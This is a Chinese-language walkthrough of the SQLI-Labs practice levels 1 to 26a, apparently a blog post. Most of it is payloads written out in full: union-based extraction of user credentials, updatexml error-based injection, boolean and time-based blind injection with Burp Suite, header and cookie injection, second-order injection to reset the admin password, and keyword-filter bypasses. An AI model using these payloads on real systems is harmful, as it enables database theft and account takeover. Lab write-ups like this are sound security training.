SQLI-Labs 1-26关通关详解

关卡1

提示传入ID作为参数,先传入:

复制代码
?id=1

回显ID=1对应的用户名密码。查看源码,发现第一关为get传参,无任何过滤,且使用单引号闭合,有报错回显

故使用单引号闭合查询语句:

复制代码
?id=1'

页面无回显,说明此时单引号已闭合查询语句。在使用union查询之前,首先要判断当前表的列数,因为union查询语句前后的列数要一致,故使用order by判断列数(--+ 为注释掉原查询语句的后段部分,"--空格"在mysql中为注释,这里的空格改为+是因为在URL中,空格通常被编码为 +%20

当order by为4时,页面无回显,所以得出当前表的列数有三列。

接下来使用union select 1,2,3判断前端回显位置(此时要注意,前面的id应传递一个不存在的值,不然前端回显就传回对应id的用户密码了,达不到我们的目的)

此时可以发现,前端是2,3位回显

接下来继续使用union查询数据库用户,数据库名,表名,列名,以及所有用户密码

复制代码
?id=-1' union select 1,user(),database()--+      
//数据库用户,当前数据库名查询

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
//查询security数据库中的所有表

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+
//查询users表中的列名

知道了数据库名,表名,列名,接下来直接查用户密码

复制代码
?id=-1' union select 1,(select group_concat(username,":",password) from users),3--+

关卡2

查看源码,发现参数id无闭合符号

故只需将第一关payload中的单引号删除,其余不变,即可通关

关卡3

查看源码,闭合符变为')

故修改第一关payload闭合符,其余不变,即可通关

关卡4

查看源码,闭合符变为"),payload参照关卡1

关卡5

输入id=1回显

使用单引号闭合,报错

使用union select发现没有回显位

故使用报错注入:updatexml()函数

复制代码
?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+
//报错注入数据库用户名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
//数据库名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
//表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
//列名

最后查询users表中的用户密码,因为报错长度最高32位,所以用substr()函数截取

复制代码
?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,":",password),1,31) from users),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,":",password),32,63) from users),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,":",password),64,95) from users),0x7e),1)--+

关卡6

闭合符变为",其余不变,payload参见上一关

关卡7

闭合符变为")),其余不变,payload参见第五关

关卡8

输入id=1回显"You are in......"

使用单引号闭合发现无回显

查看源码,sql报错信息已被注释

故本关使用布尔盲注(若有回显,表示查询语句为真,便可一点点猜出想要的答案),使用ascii(),配合burpsuit,注入出数据库名

可以先在浏览器中测试,已知数据库"security"第一个字符为s,对应ascii十进制值为115,故当ascii值等于115时,为真,前端回显"You are in....",当为114时,为假,前端不回显

测试成功,与预期相符,burpsuit启动

拦截后将该数据包放入intruder,在图示位置添加两个变量符,并选择Cluster bomb模式

来到payload设置,第一个变量设置,我们估计数据库名称不超过20个字,所以from 1 to 20,step=1

第二个变量为字符的ascii十进制值,我们查表可得,选取从32-126,step=1

设置完毕后点击右上角"star attack"

attack结束后,根据Length和payload1排序可得:

此时payload1排序是正确的,从1-8,不存在ascii还原后字母乱序的情况。

此时直接将payload2 第1-8行的值截屏识图,提取出数字(就不用手动挨个输入),放入ascii在线转换网站中,得出数据库名

同理,用上述方法可得表名,列名,用户密码

复制代码
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101--+
//获取表名

?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105--+
//获取列名

最后,查询用户密码

复制代码
?id=1' and ascii(substr((select group_concat(username,":",password) from users),1,1))=68--+
//查询用户名和对应密码

关卡9

查看源码可以发现,无论语句为真还是假,都会返回"You are in.....",故无法使用布尔盲注

我们将使用时间盲注,sleep()函数。

当语句为真时,将数据库sleep1秒,前端就会无响应1秒,以此来判断语句真假,结合上一关的ascii()函数,从而猜出我们想要的东西

我们可以先判断数据库长度

复制代码
?id=1' and if(length(database())=8,sleep(1),1)--+

再使用python脚本,猜出数据库名,表名,列名,用户名和密码(可使用二分查找来加快爆破速度)

核心payload:

复制代码
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(1),1) --+
//数据库名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(1),1) --+
//表名

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security'  and table_name='users' limit 0,1),1,1))=105,sleep(1),1) --+
//列名

?id=1' and if(ascii(substr((select group_concat(username,":",password) from users limit 0,1),1,1))=105,sleep(5),1) --+
//用户名密码

关卡10

闭合符改变为",其余不变,参考上一关

关卡11

在用户名输入单引号闭合符,发现直接报错,故可以使用报错注入。

复制代码
1' and updatexml(1,concat(0x7e,user(),0x7e),1)#

当然也可以使用union查询,因为是有回显位的

复制代码
1' union select 1,2#

随后一条龙服务,爆破出表名,列名等等数据,payload与前面关卡相似

关卡12

由源码可得,闭合符为"),其余不变,参照上一关

关卡13

闭合符变为'),且无回显位,故无法使用union select

但是依旧会回显报错信息,故这一关使用报错注入

复制代码
1')  and updatexml(1,concat(0x7e,user(),0x7e),1)#
//查询数据库用户

接下来就是报错注入的一条龙服务,不再赘述

关卡14

闭合符变为" ,其余不变,依旧报错注入一条龙,不再赘述

关卡15

这一关连mysql报错信息都不显示了,闭合符查看源码可得为单引号

但是依旧会显示登录成功或登录失败的图片,所以可以采用布尔盲注

故使用ascii()函数,结合burpsuit,使用post请求,爆破出对应信息

注意,使用and连接前后两个查询语句时,为了使得整个语句都为真,用户名必须得为真。换言之,必须输入一个已存在的正确的用户名,才能使得布尔查询有效开展。

若真实环境中,不知道已存在的用户名,将"and"连接词换为"or",用户名位置随便输即可。因为or连接的查询语句,只要有一条语句为真,整个语句都为真。

复制代码
admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101 #
//获取表名

admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105--+
//获取列名

admin' and ascii(substr((select group_concat(username,":",password) from users),1,1))=68--+
//查询用户名和对应密码

接下来就是使用burpsuit一条龙,不再赘述

关卡16

查看源码发现闭合符变为"),其余不变,依旧使用burpsuit布尔盲注一条龙,不再赘述

关卡17

查看源码,这一关开始对我们的输入进行过滤了,限制了user字段,输入不能超过20字,且会自动给单引号加上转义斜杠,使得我们无法像之前一样,闭合查询语句。

但是查看代码逻辑可得,在password字段,依旧可以使用单引号闭合,进行报错注入**(前提是要有正确的用户名)**

复制代码
1' and updatexml(1,concat(0x7e,user(),0x7e),1)#

随后报错注入一套龙

关卡18

查看源码,这一关限制了user和password字段,输入不能超过20字,且会自动给单引号加上转义斜杠,使得我们无法像之前一样,闭合查询语句。

但是查看源码可以发现,当username和password校验成功后,后端会接收我们的ip和uagent,随后直接放入insert语句中执行。

故这一关是http请求头注入,也就是手动修改uagent字段(为什么不修改ip字段,因为ip字段不可控),改为我们的payload

使用burpsuit抓包,修改uagent字段**(注意,报错回显只在成功登录时才显示,故此关卡需要输入正确的用户名,密码,才能实施注入)**

此时发现,输入常规updatexml payload后,并没有回显我们想要的信息,这是因为在源代码中,后端希望接受三个参数,uagent、ip、uname,我们闭合了uagent字段,使用updatexml函数后,后端直接收到了一个uagent参数,ip和uname并没有接收到,故报错

如果我们想使用报错注入,这里有两种方案:要么在payload后加上1,1),手动补齐两个参数,补成1。要么直接闭合整个insert语句,在payload末尾加上and '1' = '1 强行闭合

此时agent字段变为:

复制代码
a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1#

报错注入成功,随后便是updatexml报错注入一条龙,不再赘述

关卡19

注入点从uagent变为referer,其余不变,依旧报错注入一条龙

关卡20

这一关为cookie注入,首先得输入正确的账号密码,进行抓包

将第一个登录包放走之后,随后会再发送一个带有cookie的数据包,将其发送至repeater

在末尾加个单引号

出现报错,存在报错注入点

接下来报错注入一条龙

关卡21

查看源码,发现对cookie中的username进行了base64编码,同时cookie闭合方式也变为')

所以只需在上一关基础上多加一步base64编码过程即可

此时登录成功后发过来的cookie值已经被编码

我们传入base64编码后的payload:

复制代码
admin') and updatexml(1,concat(0x7e,user(),0x7e),1)#

成功报错注入,接下来不多赘述

关卡22

与21相同,只是闭合方式变为"

关卡23

查看源码可以发现,它将我们的 # 和 -- 都替换为空,也就是让我们的注释符失效

所以我们直接在末尾加上 and '1'='1 来闭合

复制代码
?id=-1' union select 1,user(),3 and '1'='1

接下来union select一条龙

关卡24

此关卡为二次注入,我们的目标是直接修改admin的密码。

先创建一个叫 admin'# 的用户,密码自拟

创建成功后登录admin'#

可以看到我们成功登录,此时我们可以修改我们的密码

但因为我们的用户名后面有'#,系统会直接修改admin用户的账号密码,'#起到闭合语句并注释的作用

此时我们输入新的密码,就是admin用户的密码,而不是我们刚创建的admin'#

随后就可以直接登录admin

关卡25

这一关我们的and 和 or都会被替换为空,并且大小写都会被替换

我们直接双写绕过

复制代码
?id=-1' aandnd updatexml(1,concat(0x7e,user(),0x7e),1)--+

关卡26

这一关替换掉了and or 以及注释符 空格 转义字符

但我们可以用括号代替空格,双写绕过关键字替换

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1))aandnd('1')='1

关卡26a

依旧过滤了这些字符,并且闭合符号也有所修改

这里直接给出两个可行payload

复制代码
?id=100')union(select(1),2,3='1
复制代码
?id=100')union(select(1),(2),(3));%00

随后一条龙操作

相关推荐
木辰風5 小时前
PLSQL自定义自动替换(AutoReplace)
java·数据库·sql
无限码力5 小时前
华为OD技术面真题 - 数据库MySQL - 3
数据库·mysql·华为od·八股文·华为od技术面八股文
heartbeat..5 小时前
Redis 中的锁:核心实现、类型与最佳实践
java·数据库·redis·缓存·并发
Prince-Peng5 小时前
技术架构系列 - 详解Redis
数据结构·数据库·redis·分布式·缓存·中间件·架构
虾说羊5 小时前
redis中的哨兵机制
数据库·redis·缓存
_F_y5 小时前
MySQL视图
数据库·mysql
2301_790300965 小时前
Python单元测试(unittest)实战指南
jvm·数据库·python
九章-5 小时前
一库平替,融合致胜:国产数据库的“统型”范式革命
数据库·融合数据库
浩浩测试一下6 小时前
DDOS 应急响应Linux防火墙 Iptable 使用方式方法
linux·网络·安全·web安全·网络安全·系统安全·ddos
2401_838472516 小时前
使用Scikit-learn构建你的第一个机器学习模型
jvm·数据库·python